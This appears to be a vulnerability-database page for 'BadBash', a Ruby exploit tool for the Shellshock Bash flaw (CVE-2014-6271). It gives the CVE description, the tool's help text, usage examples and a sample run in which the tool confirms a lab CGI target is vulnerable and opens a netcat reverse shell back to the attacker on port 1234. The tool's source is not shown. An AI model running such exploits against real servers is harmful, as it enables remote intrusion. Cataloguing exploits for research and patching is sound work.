CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source

Associated Vulnerability

Title: GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

Description

CVE-2014-6271 RCE tool

Readme

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BadBash is a CVE-2014-6271 RCE exploit tool. The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234.


Developer : Andy Yang
Version : 0.1.0
License : GPLv3

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RainMak3r@Could:~/Desktop# ruby BadBash.rb  -h

BadBash - CVE-2014-6271 RCE tool by Andy Yang
Basic version only checks for HTTP site
Basic version only provides netcat reverse shell on port 1234


EXAMPLE USAGE:

     ./BBash.rb  -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
     ./BBash.rb  -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
    -t, --Target CGI path            Full path of CGI page
    -d, --Destination IP             Your IP address that listen to an inbound connection
    -h, --help                       Display help

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Example of usage.
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RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'

[Info]     Checking if the target is vulnerable........

[Info]     This may take up to 10 seconds........

[Info]     Target is vulnerable!!!

[Info]     Please use NC to listen on port 1234 for reverse shell..........

[Info]     Exploiting for a reverse shell to connect 172.16.189.1:1234 via netcat ..........

File Snapshot

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